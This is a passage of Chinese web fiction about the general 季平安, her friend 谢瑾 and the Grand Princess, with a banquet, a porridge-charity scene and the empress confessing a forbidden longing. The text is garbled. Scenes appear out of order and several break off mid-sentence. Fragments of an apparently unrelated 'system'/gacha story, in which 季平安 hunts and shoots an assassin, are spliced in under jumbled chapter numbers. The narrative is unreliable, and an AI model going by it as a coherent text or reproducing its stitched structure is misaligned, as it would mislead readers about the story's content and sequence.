谢瑾闹开了:“那我去门口打滚,说你背信弃义,残害老人。” 季平安:? 季平安丢不起这人,满头黑线地跟在春风得意的谢瑾背后,迎风冲何娘痛洒几滴热泪:“娘,我去了,这一去便不知何时归,这些珠子一定得等我回来后再穿。” 何娘笑着点头,将她送至将军府门口。季平安回头还想再拉着何娘讲上几句闲话,结果她前脚刚迈出角门,后脚那门便被尚未出府的何娘“啪”地关上了,速度之快,以至于她连何娘的手都没拉着。 季平安:? 季平安: 谢瑾自幼同肃亲王妃相识,且离京参与鏖战前已是都司,人脉挺广,席间众人她大多认识。然而季平安离京八年,此刻两眼一抹黑只是抓瞎,人与名儿压根对不上号。 于是谢瑾混迹人群中如鱼得水,季平安的脸却快笑僵了。 待第十六个自称“方府嫡长女”的权贵凑上来同她寒暄的时候,季平安已然后悔答应陪谢瑾来了。 方小姐爱好文学,眨着眼问:“小季大人平日里可爱读安么?” 季平安记不过来人名的脑子已然宕机,于是已读乱回:“今早吃的云吞面。” 谢瑾猛地扭头:? 季平安: 方小姐却红了脸,掩唇笑道:“小季大人幽默风趣,喜爱的文学作品也与众不同。《今早吃的云吞面》定是一篇极有意思的文章,改日我定当拜读。” 季平安:? 不是,这都能夸? 她面上笑着说“谬赞,原是我胡诌的”,暗中扯了一下谢瑾的袖子,咬着牙道:“我去别处喘口气,别人问起来时,你便道我去方便了。” 实在受够了熙熙攘攘而过分热络的人群,季平安连随从都不想带,把侍子丢给了谢瑾,自己独身踏上了回廊。 肃亲王府很大,大殿横陈,院落层层叠叠,一不小心就能迷路。 然而院落虽大,人也多,往府北行去时,季平安一路上听着了来自各路侍子的数十声“小季大人安”。 她随口应着,唤住了一个侍子,温声问:“王府可有花园?可否带我去逛逛?” 那侍子巴不得一声儿,冲身边人挤眉弄眼,季平安看懂了她的意思:季将军只问我不问你们,季将军同我天下第一好。 季平安在心内笑笑,转身问:“往哪儿走?” 那侍子赶忙小跑几步,上前带路。 季平安一路上懒怠说话,那侍子也不敢随便开口,于是气氛着实有些沉寂。 而待快至御花园时,季平安终于提了点兴致起来,冲园内遥遥站着的人影抬了一下下巴,转头含笑问侍子:“我乍回京,人与物都不甚相熟。你可知她是哪位大人么?” 侍子忙道:“是王妃妹妹,萧三小姐。” 王妃妹妹? 这不就是谢瑾口里演戏的对象么? 季平安“哦”了一声,若有所思地拍拍侍子的肩:“多谢,倒是帮了我一个大忙。你是服侍哪位大人的?我到时帮你美言几句。” 侍子呼吸一滞,红了脸,讷讷道:“奴婢并未服侍哪位大人,奴婢原是小厨房伺候锅碗瓢盆的。” “那你不得了。”季平安笑道,“都云民以食为天,阖府的天竟在你手里握着。” 她的眸色很浅,天光斜斜打下来,湾在琥珀色的眸底深处,显出几分无关风月的温情。 侍子的心跳漏了一拍。 她深吸一口气,闭眼缓了缓,待睁开眸子后,还想同季小将军再说上几句闲话,结果一扭头—— 季小将军没影儿了。 前来领粥的人络绎不绝,捧着搪瓷白碗,大多穿着朴素甚至落魄,看着都是穷苦之家。季平安顺手把此前在粥铺包起来的梅花粥递与一个小姑娘,摸摸她的脑袋,说了句“趁热喝”。 内官与侍卫在一旁兢兢业业维持秩序,同季平安简单打了个招呼。季平安吩咐下属好好看着现场,转头问领班:“今儿来了多少人了?” “约两三千人。”领班回禀说,“共五支队伍,每支队伍每刻钟约能送出五六十碗,目前扎了一个时辰的棚子。” 小姑娘摇摇头:“外祖母说抓药要银子,风寒不是大病,清清静静饿几顿也就好了的,不许我乱花钱。” 谢瑾的眉毛深深蹙了起来:“你外祖母就是胡闹,风寒虽不是大症状,然她年岁已高,若不小心应对,怕是要糟糕。” 她说着,唤来了自己的随从:“你跟着这孩子回家一趟,再去请个大夫,替她外祖母相看相看。这天寒地冻的,光靠饿几顿怎么撑得下去呢?” 话音刚落,那随从答应着正要走时,远处忽然疾走来了一个侍子,伸着胳膊将那随从一拦。 谢瑾有些不痛快,蹙眉问:“为何不让她走?”另一内官听闻摇摇头:“有些人领了数次,排了足有四五回的队了,我看按人头算大约也就一两千人。” 季平安在旁边静静看着,忽然问:“你外祖母得的是什么病?” “风寒。” “可有抓药?” 那内官冲季平安和谢瑾行了个礼,笑着解释说:“二位殿下都在这儿镇着,此事不劳烦将军。长公主殿下注意到此处的动静,特命我来瞧瞧。” “到底是长公主殿下心细。”谢瑾点点头,朝那小姑娘努了努嘴,“这孩子家人病倒,无人照料,替她请个大夫可好?” 粥架那处似是又有了动静,但谢瑾心心念念眼前的孩童,并未怎么留意。 “这孩子可怜见的。”那侍子点点头,睁着美目将小姑娘上下打量好几眼,忽然嗤笑一声,随即厉声唤来一个侍卫,“带走,好生看着,着人细细审问!” 变故横生,谢瑾错愕万分。她看着侍卫捂住了嚎哭起来的小姑娘的嘴,刚想伸手拦人,季平安却扯住了她的袖子,摇摇脑袋。 “这不是欺负人么?”谢瑾瞪着眼问,“你扯我做什么?!” 季平安笑着拍上了她的肩:“我说你白长那么大,竟被个小姑娘耍得团团转。” “怎么,那孩子有何问题?” “你先看看这些百姓。” 门关上后,过了会儿沈之虞才收回自己的视线。 下了楼,季平安揣着银子就到了客栈掌柜面前:“老板帮我开间房,就要听涛旁边的那间。” 听涛房就是沈之虞刚才订的那间。 掌柜也认出来她了:“你不是刚才开过一间吗?” 说完,她就帮季平安想好了理由:“和家里的坤泽吵架了?” “差不多吧。”季平安把钱拿出来,“先开七天,老板你可别和她说,七天之后也麻烦老板帮我把这间房留着,我再来续。” “放心吧。”掌柜接过钱,笑着道:“看来你家坤泽生的气不小啊。” 季平安:“是啊,所以我得快点把人哄好。” 第 42 章 第 42 章 在客栈开完房间后,季平安先又去了铁匠铺子买了些箭。 铁匠铺老板帮她拿箭的时候,她还看到了铺子里面放的匕首:“老板,这个怎么卖?” 说是匕首,但和真正的匕首也差的远,只能勉强算缩小版的菜刀,不过也算能造成伤害的武器了。 老板看了眼道:“两百文一把。” 县城里面需要匕首的人少,但是耐不住价格比菜刀便宜些,有不少人买回去用这个切东西。 老板前些天打出来十把,现在已经只剩下两把了。 季平安道:“那这两把我全要了。” 铁匠铺老板给她装起来:“看来这次要打的是大猎物啊!” 再过几日便是腊八。何夫人忙得脚不沾地,给季平安和季寒潭一人缝了一个香包。 香包上绣着腊梅,闻起来幽香阵阵。季平安美滋滋拿去给谢瑾炫耀:“我娘送我的,你没有吧?” 谢瑾: 谢瑾正在府内练箭,季平安这句话出口的时候,她挽弓搭箭,正中三十尺之外的靶心。 她活动了两下胳膊,把弓放下,冲季平安抬了抬下巴:“把你那香包挂靶子上。” “怎么?”季平安莫名。 “好朋友就该荣辱与共。”谢瑾说,“所以我把它当靶子练练,咱俩就都没香包,公平公正,多好!” 季平安: 季平安毫不客气地给了谢瑾一下。 谢瑾将弓箭递与一旁的侍子,看着她们忙忙碌碌来回搬靶,忽然转头问季平安:“明儿腊八,你什么安排?” 季平安耸耸肩:“在家瘫着。” “我就知道。”谢瑾笑道,“明儿长公主与二帝姬在城西支摊子施粥,你可要去瞧瞧?” 季平安的脸即刻垮下来了:“不去。” “真不去?” “不去。你问这是有何居心?难不成你想去?” 谢瑾想了一想,点点头道:“我还真想去。” “为何?” “平日里联络长公主怪刻意的,明儿却恰好可以装作不经意间路过,当面问问追查刺客之事的进展。” 季平安“嘶”了一声:“此言有理。” “动摇了?”谢瑾笑道。 “动摇了,我也去瞅瞅。”季平安把香包重新挂上腰带,说,“不过说好了,长公主若是问起来,定要说是恰好路过。” 谢瑾拖着嗓子说“知晓了”,顺着回廊往池边的亭子走去。 池上结了很薄的一层冰,薄到麻雀都站不住。谢瑾随手捡了根木棍往上一丢,那冰层便裂开了一道口子。 季平安静静立于池边,看着口子逐渐延伸出许多分支,倏然听见谢瑾道:“一说起长公主,你便浑身不自在。我寻思她究竟也没那么可怖,便是季尚安劝你不要同她深交,平日里只做正常的人情来往也就罢了,何故听我提她便如闻洪水猛兽?” “你这便是夸张。”季平安笑道,“我哪有这么着?” “夸张不了,我一提长公主你便垮脸,再提长公主便摇头。这不是洪水猛兽是什么?” 季平安第一反应便是谢瑾又在扯谎,过了会儿却发现,她说的似乎不无道理。 大约是因着自己实在过于在意“同长公主撇清关系”这件事,有时候倒显得过犹不及。 譬如一般的官员在听见“长公主在施粥,可要去看看”时,定会说“左右无事,去看看是否能帮上什么忙”;再不济,若是不愿同长公主扯上关系的,也会说“懒怠动弹”,而非斩钉截铁地说“不去”。 就好像有着八百年世仇,或是刻意装出这么一副“老死不相往来”的模样似的。 但季平安浑身上下嘴最硬,两眼一睁便开始瞎扯:“你又污蔑我。分明没有的事却说得这么振振有词,怕不是你自己对她唯恐避之不及,所以看谁都如此。” 谢瑾“嗨哟”一声:“我做什么要避着她,她又送我好酒又帮我查案的,我谢她还来不及。” “你谢她”季平安蓦地一顿,心内霎时间恍然—— 谢瑾这才是正常的、面对长公主的态度。 不必将划清界限放在嘴边,平日里只做官场间正常走动,事事循常,自然不会交往过密。 世上没有多说几句话便会成为好友的道理,反倒是故作疏远更容易让人看出端倪。 谢瑾听她吐了三个字后又没声儿了,不由得追问:“谢她怎么?” “无事。”季平安回神,拍拍她的肩,“你倒是提醒我了,我也该谢她。” “我谢她送我酒与线索,你谢她什么?” “我谢她送我‘心仪之人’酒与线索。” 谢瑾: 谢瑾的表情像是生吞了一只蜘蛛。 季平安在寒风里笑岔了气,一边揉着腰一边说:“叫你之前非要我陪你演戏,这不是搬起石头砸自己脚了么?” 谢瑾“嘶”了一声,忽然问:“诶,你说,倘或跟长公主坦白,说我俩并非彼此有情,只是为了逼退桃花,是否可行?” 她刚说完,下一秒就摇起了头,自己否认自己:“不可。倘或被萧三小姐知道了,这戏不是白演了?” “然我觉得长公主是言而有信之人。”季平安跃跃欲试,“她定能体谅你的难处,会替咱们保守秘密的。” 快些说开吧。季平安想。 她实在受不了长公主那一声长一声短的、不知是揶揄还是认真的“朋友”了。 “不行不行。”谢瑾蹙着眉,还是坚持道,“长公主说到底还是跟萧三小姐更亲一些,再说骗人终归不好,长公主凭什么帮我们瞒着呢?” 季平安的嘴皮子都快磨破了,好说歹说,谢瑾却无论如何也不听。 季平安心道你既然不肯答应,那提出来做甚,让我白高兴一场么? 她遂没了说笑的心情,冲谢瑾摆摆手,撂下一句“明儿见”,便转身归府,没了话音。 季平安下意识瞥了已然上座的谢瑾一眼,谢瑾冲她摇摇头,意思是:没发现当时还有第四人在场。 等回座儿后再同谢瑾算账。季平安心想。 她迎上长公主淡然的目光,拱了拱手,笑道:“下官倒不知殿下此话何意,下官在花园里逛了逛,回来时迷了道儿,故而来迟了些。” “果真?” “千真万确。” “没有心仪之人?” “无。” 殿内私语渐起,不知谁家小姐长舒一口气,同身侧姐妹开玩笑:“方才听长公主说小季大人同她爱人,我还大吃一惊,心道不曾听闻,怎么就有了呢?原来是长公主殿下诈她,倒吓我一跳。” 旁边人揶揄:“怎么就吓一跳?小季大人也是该成亲的年纪了,有心上人实属寻常。难不成你想当将军夫人?” “莫说此话,当心让人听了去。”那姑娘红了脸,“光说我,难道你不想么?” 耳朵异常好使的季平安: 她将殿上的窃窃私语听了个囫囵,愈发对谢瑾起了杀心。 她抬起眼,蓦地撞上了长公主探究的目光。 长公主眸光清浅,眉毛微微挑着,倒显得五官轮廓生动了一些。 她们之间相隔几尺,无言地僵持着。 季平安忽然有点烦躁。 许是眼前的场景让她想到了前夜巷口两人一马相立的僵持,又许是每回碰上长公主后,莫名其妙的事儿总会接踵而至,她登时没了吃饭的心情。 然而她即刻又想,怨不得长公主。 她也是受迫害的可怜人。 下一秒,她听见长公主道:“既如此,将军请快些归座。” 季平安长舒一口气,在侍子的指引下坐到了谢瑾旁边。 坐下后的第一件事便是复盘。 “你真没见花园里有第四人么?”季平安蹙眉低声问,“可是倘或长公主不在场,她好端端的为何说出这话来?” “我发誓我真没瞧见”谢瑾想了一想,“难不成是萧三小姐同长公主讲了?可是萧三小姐是个言而有信的性子,并不像是会泄密的样子。” 其实若是长公主当时在场,亲眼瞧见了谢瑾同自己“剖白”的场景,倒也还好。毕竟长公主也有秘密在自己手中,将心比心,应当不会将此事抖搂出去。 怕的是此事是肃亲王妃妹妹告知与长公主的。 她既能告诉长公主,未必不会告诉别人。 还是得等宴席散后同长公主确认一下,自己方能安心。 因着这一小段插曲,季平安这一顿饭吃得食不知味。 人郁闷之时无事可干,心内琢磨着事儿,嘴便没了把门。季平安自己喝一杯,谢瑾来敬一杯,身侧人又来碰一杯,不知不觉四五杯酒下了肚。 而她的酒量并算不上十分好。 于是宴席过半,谢瑾双眸清炯炯地看着歌舞,正瞧见一姑娘飞身上鼓,舞姿绚烂,激动地去拍她朋友的肩时,却见她朋友半天没反应。 谢瑾纳闷儿地回过头,定睛一看—— 小季大人一动不动趴在桌子上,闷声不吭地醉倒了。 不得不说,有了系统就是好,她已经完全不想动脑子了。 系统:“[升级改造术],可运用于已获取的优类物品,提升其能力。” 季平安明白过来,也就是[升级改造]后,曾经抽到过的[力量点补充],能在现在的基础上进一步增加力量。 原本只是[x2],升级改造后可能变成[x3]、[x4]或者[x5]? 季平安:“系统,提升幅度是多大?” 这也决定了她到底选择升级哪个优类物品。 系统:“未知。” 这两个字倒是和物品描述对应上了。 季平安这次思考了许久,才选定了升级物品。 【是否确认使用[升级改造术]对[猎物瞄准镜]进行升级,当前可使用次数为[1次]?】 季平安:“确认。” 【已使用[升级改造术]对[猎物瞄准镜]进行升级,目前可使用次数为[0次]。】 【[猎物瞄准镜]已升级为[瞄准镜]。】 第 43 章 第 43 章 季平安现在的力量基本已经够用了,哪怕对上四五个乾元,也完全不费力气,所以[力量点补充]升级的用处不大。 [x2]如果能够翻倍,变为[x4]绝对是有用的,无论手上有什么资源都能翻上一倍。 唯独[猎物瞄准镜]的[升级改造],她想不出来会得到什么物品。 季平安思考了许久,还是决定赌一把。 她现在不缺银子和其他的东西,唯一需要保证的,就是她和沈之虞的生命安全。 因此,在确认使用[升级改造术]后,季平安便忍不住攥紧了自己的手,眼睛里难得出现微不可察的紧张。 当系统的提示音落下,系统页面上的技能显示也同时刷新。 跳动着的火舌舔着灯壁,将包房内照得亮亮堂堂。 侍子们俱在外间屏息候着,一声儿不吭,周遭不闻其余响动。 四人又聊了会儿,却理不出什么分明的头绪。长公主遂道:“既是一家人,我自然全力帮将军查出真相。秋雁如何到皇上跟前的我不得而知,待我回去细问二帝姬。” 又是“一家人”。 季平安实在吃不消听到这三个字了,蓦地转头,试图从姐妹身上汲取一些同病相怜的力量,却对上了谢瑾澄澈如水的眼神。 这人正呲着大牙乐,丝毫没感觉有啥不对,低声问:“咋了,长公主同你说话呢,你快回。” 季平安:酒席摆在长公主府的长春殿,三人齐齐整整围坐在黄花梨木圆桌旁。 侍子们屏息侍奉在侧,一时室内不闻杂声。 谢瑾很有眼力见地自己斟了一杯酒,起身敬长公主:“下官乍回京,对京中风土人情都知之甚少。若有不周到之处,还请殿下见谅。” 长公主摇头说:“无妨。” 谢瑾又道:“下官如何倒无所谓,只是下官实在放心不下我这位朋友。殿下您瞧,她刚回京,却只是把自己关在家中,两耳不闻窗外事,外头的请帖递来一封回绝一封。我着实替她心焦,于是今儿王妃生辰宴,我说什么都将她拉来了。” 季平安:你把我拉来不是为了赶走你那小桃花么? 长公主的关注点却不在这上面。她在浓稠的饭菜香里微微挑眉,问:“朋友?” 谢瑾的酒卡在了嗓子眼里,冲着长公主讪讪一笑,含混地说:“说惯了,未改口。我夫人?” 季平安暗中给了她一拳。谢瑾忙改口:“未走明路成婚,尚算不得夫人。我究竟还是不知如何称呼,称‘朋友’倒也罢了。” 长公主眉梢微抬,浅淡的眸光在她俩之间转了几个来回。 “无妨。”她漠然开了腔,“季将军曾帮过我一个大忙,她的朋友即是我的朋友。” 谢瑾瞪大了眼,不可置信地凑去了季平安耳旁:“你又何时同长公主相熟?不是此前还同我说,她与二帝姬牵扯颇深,你不愿趟浑水么?” 季平安:“一人可以领多次么?”季平安问。 “是如此。”领班说,“二位殿下吩咐的,若有领完一碗还想领第二碗的,需得去队伍末端从头排。能在这寒风中撑着排上数次队的,大约也并非贪心,而是确有苦衷,故此倒不必约束。” 季平安正想顺着话音礼节性地夸一夸她们的主子,还未来得及开口,排头的粥架处忽然传来一阵骚动。 她循声看去,见一灰头土脸的小姑娘穿着打了好几个补丁的袄子,手足无措地站在那儿,乌黑的眼睛慌张地滴溜溜转,头顶的小辫儿随着她不甚平稳的呼吸一下一下地晃着。 姑娘身侧站着一绷着脸的内官,正抓了她的手,厉声问:“说好了一次只能打一碗,你为何喝干了一碗后还想着要第二碗?” 小姑娘大约从没经历过这种场面,眼泪鼻涕一块儿被吓出来了。她打了几个哭嗝儿,语无伦次地说:“我,我没有,我不是,我” 另一个内官叹了口气,上前替小姑娘擦了擦脸,牵起她的手:“没事,你慢慢说。” 小姑娘被她带离现场,走到了人烟稀少的角落。 季平安和谢瑾对视一眼,也不声不响地跟了上去。 头顶树枝错落,小姑娘在白梅的清气下一点点平复下来,讷讷道:“我,我太急了,我外祖母躺在病床上两天,下不了地,水米一日不曾沾牙了。我想着,宫里送来的粥必是好的,给我外祖母喝上一点,她的病许是就能好了。” 内官摇摇头,温声道:“非不许你领,只是一人一次只领一碗的规矩不能破。你若是想替你外祖母再打一碗,需得从头排过,明白了么?” 小姑娘小鸡啄米似的连连点头,诺诺地说“明白了”。 她也不知道。 她是真不愿同长公主有更多交集。 客人当着主人面说小话其实是挺不礼貌的一件事儿,但长公主是个体面人,并未计较许多。侍子在旁耳提面命,抬手给谢瑾的空酒盏再度满上了。 谢瑾举着酒盏,接了长公主“她的朋友即是我的朋友”这句话:“能得长公主赏识,是佑之之幸。” 长公主的神色却愈发淡了一些下去,不知是因着不想听这些客套话,还是别的什么缘故。 她蓦地抬起手,白而纤长的五指从碗筷上方晃过去,执起了铺在一旁的湿帕。 她慢条斯理地擦掉了手上莫须有的污渍,指着桌上的酒坛说:“这酒埋在后山二十年,不知合不合谢将军口味?” 谢瑾猛地点头:“此乃下官喝过的酒里顶好的,下官倒找不出词来形容了。” 长公主颔首,继而转向季平安,问:“小季大人呢?” 季平安没立即接话,直到谢瑾在桌下的手风火轮似的火急火燎捅了她不下十回,她才慢吞吞说:“下官不爱饮酒。” 非她扫兴,只是她忽然觉得自己同长公主的距离似乎有些太近了。 谢瑾每回在她面前提及长公主时,她都会生出一种“胆战心惊,唯恐那事东窗事发,将她与长公主的关系暴露在人前”的感觉。 就好像自己同长公主已然相交经年,彼此熟络,是顶好的朋友了,却要在明面上装陌生人。 可是她们分明前两日才认识,且自己并不打算同她有过多的来往。 还是早日表明立场为好,不然越拖羁绊越深,反而不好割舍。 季平安想定了,又补了一句:“不爱饮酒,故此品不出酒的好劣。” 季平安说完这句,才将目光从酒盏上收回来,对上眼前人的视线。 而后她发现,长公主正深深盯着自己瞧。 季平安遂客气地抬了一下杯盏,笑道:“下官敬殿下一杯。” 长公主将碎发捋至耳后,无动于衷地坐着,须臾,淡声说:“不爱饮酒便无需敬,原是我为同大人道歉才抬上此酒的,大人不必如此客气。” 玉炉里的炭火还在兢兢业业发着热,但殿内的温度似是骤然冷了下来。 谢瑾还在状况之外,神情比天桥下的叫花子还要懵,不明白气氛怎么突然就降成了冬日里的池塘。 她暗中用胳膊肘捅了一下季平安的腰,错愕地问:“你何时不爱饮酒了?在军营里不是能喝八百杯?” 季平安瞥她一眼:“晌午喝伤了,这会子喝不下。” “便是喝不下也不该如此说。你瞧,长公主的脸色都变了。” “你从哪儿瞧出她变了脸的?”季平安问,“她不是一直面无表情?” 谢瑾: 谢瑾忙替她那陡然吃错药的朋友擦屁股:“殿下,佑之晌午喝过了头,这会子未全然清醒,说话口无遮拦,下官替她陪个不是,殿下海量,切莫计较。” 长公主细而弯的柳叶眉在不知何时点上的灯火里挑了起来,神色似笑非笑。 室内逐渐漫起一阵难耐的沉寂。 谢瑾垂头暗道糟糕,几息之后,终于听见长公主淡漠地“嗯”了一声:“无妨,季将军真性情,挺好。” 她蓦地抬眼,暗中长舒一口气,便见长公主接着转向季平安,清浅的眸子被眼睫压出了一道阴影:“大人虽不爱喝,然你朋友喜欢,这酒也算是找到了好归宿。我稍后会遣人装三坛子送至马车上,大人务必笑纳。” 长公主似是在“朋友”、“官人”与“心上人”之间挑挑拣拣,终于选出了一个合适的称谓。 季平安点到为止,没再推辞,拱手道:“下官替谢将军谢过长公主。时辰不早了,多谢殿下今日款待,我同谢将军便先回府了,改日定当再度登门拜访。” “大人客气。”长公主站起身,转头唤来兰苕,“好生送两位将军出去。” 回个屁。 想杀人。 如今的[自定义图纸合成]又出现了个新鲜的限制,竟然还需要消耗抽卡机会。 系统:“有可能。” 季平安看了看系统页面【当前可抽卡次数】的位置,后面跟着一个大大的0。 “……” 真希望系统能出来个回收机制,把她抽到的拨浪鼓回收了。 看来睡醒之后,还是要去刷沈之虞的好感度啊! 第 44 章 第 44 章 抽卡次数变为0,季平安也没有办法再抽卡,她把刚刚抽到的金疮药用了[x2]变为两份,才安心的睡过去。 隔天早上醒来,季平安收拾了收拾后,便准备去县城里面。 只是刚打开篱笆,便看到正往她这里赶过来的孟水山。 季平安问道:“你这是又要上山打猎吗?” 从捡到吴修齐之后,她和沈之虞的神经基本都绷紧了,也没有啥时间再上山打猎。 听到季平安的话,孟水山愣了一下,才道:“不是上山打猎。” 长公主与二帝姬施粥处在城西靠近城郊之处,那儿相较于城东而言更为荒凉一些,百姓生活条件并不富足。 季平安今晨赖了会儿床,匆匆忙忙梳洗一番,抵达同谢瑾约定之处时,已然日上三竿。 约定之处并不在施粥处——那也过于刻意——而是在二里之外的一家粥铺。 谢瑾正碰着粥碗喝得稀里哗啦,见季平安遥遥过来,连忙替她也点上一碗,笑着说:“我阿娘说这儿的梅花粥新鲜又好喝,你尝尝。” 季平安摘了口巾,身侧立即传来了一声又惊又喜的“是小季大人”。 她微笑着同那人点点头,重新把口巾带上,冲谢瑾耸耸肩,意思是:看吧,不是我不愿喝,实在是怕麻烦。 谢瑾挑了一下眉:“那你就饿着罢。”才欲同人划清界限,说了些冠冕堂皇而又刻意生分的言语,不成想,没过多久便再度撞上了当事人。 就好像上一秒才撂了狠话,下一秒却又狭路相逢。 俗话说“冤家路窄”可她们究竟也算不得冤家。 季平安微不可见地眯了一下眼。 她没接“沾花惹草”那话,礼貌性作了一揖,道:“长公主万安。此来所为何事?” “与人相约。大人呢?” “下官亦是与人相约。” 季平安说这话的时候有些心虚,毕竟七帝姬只邀了谢瑾而并未邀她。 长公主似笑非笑地将她从头到脚打量了两圈,淡声问:“不知大人与何人相约?” 季平安张口就来:“谢将军一时兴起,邀我过来喝饭后茶。” “哦?大人朋友也来了?” “正是。”与青州一同入宫的,还有另一人。 夜色沉寂,国师悄然行于宫道。 御安房点着芸香,灯火通明。皇上不眠不休,勤勉于政,敬事房已于半个时辰前上供绿头牌,然皇上没看一眼,便叫拿下去了。 国师生了一头白发,在夜色下格外醒目些。于是在外间守着的内官一眼便瞧见了,轻声通报说:“国师已至。” 说话间,国师已然迈着步子入了殿。 她步伐分明轻缓,走起路来却似乎很快。 有内官在一旁垂头研墨,两耳不闻窗外事,见国师进来,把头垂得更低了。 沈初刚合上一本奏疏,揉了揉太阳穴,抬眼时,眉眼间尽是疲态。她命人多点了一盏烛灯,而后往椅背上仰躺上去,朱笔在白瘦纤长的指间来回转悠。 她长舒一口气,看着入勤政殿如逛自家后花园一般的跟前人,问:“阿璃,二更了,你匆匆赶来,所为何事?” 国师没接话茬,在屋内环视一圈,自顾自找了把椅子坐下。 沈初歇了会儿便直起身,翻开了另一本奏折,叹道:“你别不说话。朕今儿乏得很,不想猜。” 国师的脸庞被跳跃着的烛火勾出了分明的轮廓。她的眼极长,眉毛却浅淡得几乎看不见。 内官适时奉上茶,国师品了一口,话音带笑:“君山银针么?这回的味略苦些。” 沈初蓦地抬起头,似笑非笑地盯着她瞧。国师亦挑眉看回去。 四目相撞,朱笔提字之声与内官研墨之声俱停了,一时殿内落针可闻。 内官福了福身,很有眼力见地悄然退下。 国师这才接了皇上“所为何事”的那句话: “臣知陛下心里苦,特来瞧瞧。” 沈初挑眉问:“如何得知的?” 国师又品了一口茶,才慢悠悠道:“臣就是知道。臣看见院里的白梅树枯了一棵。” 沈初忽然就撑不住了。 她将朱笔搁下,撑着脑袋坐着,低低地说:“你不在跟前都知我难过,她怎会不知?” 顿了顿,她又道:“她知晓,所以她便是故意说那些话来扎朕的心。” 国师轮廓分明的半边脸隐在烛火照不到的阴暗处。 她静静看着,无言良久,问: “长公主如何说?” 沈初闭上了眼:“我们没可能。” 国师心头沉沉跳了一下。 她几乎以为皇上已经发现什么了,片刻后反应过来,皇上道出的是长公主说的话。 她隐隐蹙起眉,看着沈初继续自言自语: “可是朕待她这般好,也不图她心里全然是朕,只求她回头看朕一眼,朕便已然心满意足。她今儿这番话,置朕于何地?” “她拿昨儿朕给她下药之事说事朕看她近来一直郁郁寡欢,那药是活血用的,且剂量不重,于人体并无损伤,催情只是副作用。如若不然,又怎么能被季将军轻易解了呢?朕还没到如此不堪的境地。” “她末了又道,她待季将军是真心的,让朕莫要找季将军麻烦。可季将军于社稷有大功,朕定不会因此事对她有所芥蒂。难道在阿虞心中,朕便是这般不明事理之人么?” 国师蓦地起身,走至沈初身边站着,片刻后抬手,替她将垂在脸侧的碎发拨至耳后。 沈初没动,只是缓缓阖了一下眸子。她同长公主生得很像,只是一个五官凌厉,像是出鞘的剑;一个更为清俊,像是瑶台上的积雪。 国师垂下胳膊,说:“陛下是臣毕生所见最英明之人。” 沈初闭上了眼,跳动的火舌将她脸侧映上了暖黄。她深吸一口气,继续道: “母皇与母妃都走得早,阿虞那时才两岁。是朕怕帝姬所的人怠慢她,将她养在身边,十余年眼睛都不敢眨。” “便是朕有龌龊的非分之想,这也是非朕能控制的。” “朕会害她么?朕与她血肉相连,打断骨头连着筋。” “朕忍了十几年。人生又有几个十几年呢?朕原以为将心内那点不堪的觊觎藏得足够好,却不想她一直知道。” 沈初睁开眼,猛地拽住了国师的衣袖。 两行清泪从发红的眼眶里颤颤巍巍涌出来,又顺着脸颊悄然而下。 她同烛火一块儿发着抖,在窗户渗进来的寒风里低声说: “她人呢?” “她”季平安刚想再顺口胡诌几句,余光瞥见掌柜的摇摇下楼,便顺手往楼梯方向一指,“先上去了。” “原来如此。”长公主道,“那大人何时也上楼,去同朋友相聚?” 自从饭桌上谢瑾将“夫人”改口为“朋友”后,长公主便似乎很爱拿这个词来称呼她俩。 若说是揶揄,看她那面无表情的样子又着实不像。可若说是一本正经地称呼 长公主问完这句话,便往前走了几步,恰同掌柜的打了个照面。 掌柜的脸上开出了一朵花儿,一叠声说:“七殿下同谢将军已在楼上等着了,殿下快随我来。” 说罢,她又转向季平安,毕恭毕敬道:“将军也请随我来,七殿下也想同您闲话几句。” 长公主施施然从季平安身边经过,清冽的雪松味同浅淡的话音一块儿飘来:“大人似是无法同朋友单独喝饭后茶了。” 季平安: 所以她明知谢瑾要来,此前见自己胡诌却不戳穿,还装模作样地问了一堆话 长公主她分明就是故意的! “早膳在家用过了。”季平安着人将谢瑾替自己点的那份打包好,外边包了一层锡箔纸,笑道,“这点便等到施粥处一同赠人罢,谢谢将军款待。” 而待到施粥处时,她终于可以将口巾摘下来——有二帝姬与长公主在前头压着,她倒显得不那么显眼了。 施粥处扎了一里的棚子,前头聚着一堆官员。侍子在现场忙忙碌碌地熬着粥,许多叫得上名儿叫不上名儿的文官武将都在搭把手。 有人在人堆里大老远便瞧见了季平安,“嘿哟”一声:“季将军同谢将军也来了。” 季平安礼貌回应,谢瑾则大步流星走过去,撸起袖子就往灶里填了一把柴火。 旁边的侍子忙道:“谢将军歇着罢,这活我们干便是。” “什么你们我们的。”谢瑾活动了两下肩膀,“身为父母官理应替百姓做事。我在军营里经常亲自劈柴生火呢,不信你问季将军。” 季平安正要接话,却陡然感觉自己身上多出了一道存在感极强的视线。 她眯起眼,压下声儿,眯眼往旁看去—— 风雪又起,纷纷扬扬落在棚外。 长公主隔着人群,背靠风雪,正清清浅浅往她们这边看来。 箭刃深深地刺入到黑衣人的脖颈,身后的黑衣人却也已经近身。 沈之虞抽出来箭,来不及转头只能侧身,尽量不让自己伤的太重。 只是一秒过去,预想中的疼痛没有到来。 沈之虞迅速转头,就看到背后的黑衣人直直倒了下去,一支箭正插在他的胸口。 房间靠近走廊的窗户挖了个洞,熟悉的声音传过来,道:“给我开一下门?” 第 45 章 第 45 章 听到系统的提示音,季平安就立刻拿了弓箭出来,到沈之虞房间前后用不了五秒钟。 但沈之虞房间的门关着,她没有办法只能先将窗户纸弄破,从窗户的位置射箭。 好在有[瞄准镜],哪怕是这种情况,也完全不会影响射箭的准度。 再加上黑衣人的注意力全部在沈之虞的身上,季平安才射出去了这一箭,没有让人受伤。 见到房间里面的黑衣人彻底倒下,她才有机会开口,让沈之虞帮她把门打开。 接近凌晨,说话的时候季平安刻意压低了声音,但沈之虞还是立刻听了出来。 长公主府,内室。 一顿饭吃了整整一个时辰,皇上终于乘马车回宫。 内室东边摆着大理石架,上头堆着几件白玉尊。沈之虞驻足瞅了半晌,忽然伸手拽过来一个,往地上轻轻巧巧一丢。 那玩意儿质量挺好,竟没碎,叮铃当啷滚了几圈,将裂未裂。 就如同她与沈初的关系,明明话已然说得很重了,却将断未断。 一顿饭吃得食不知味。 兰苕在旁犹豫着,不知该不该捡,片刻后低低出声:“皇上赏的,殿下若不喜欢,砸了也好。” “砸了可惜。”沈之虞拂了拂袖摆,施施然往椅子上坐下,“只是我不想再见了,你着人收去库房。” 兰苕应“欸”,替她卸去钗环首饰,又将一个湖绿的玛瑙挂坠在沈之虞耳旁比了比,轻声道:“明儿肃亲王妃生辰宴,殿下必是要去的,便戴这个好不好?” 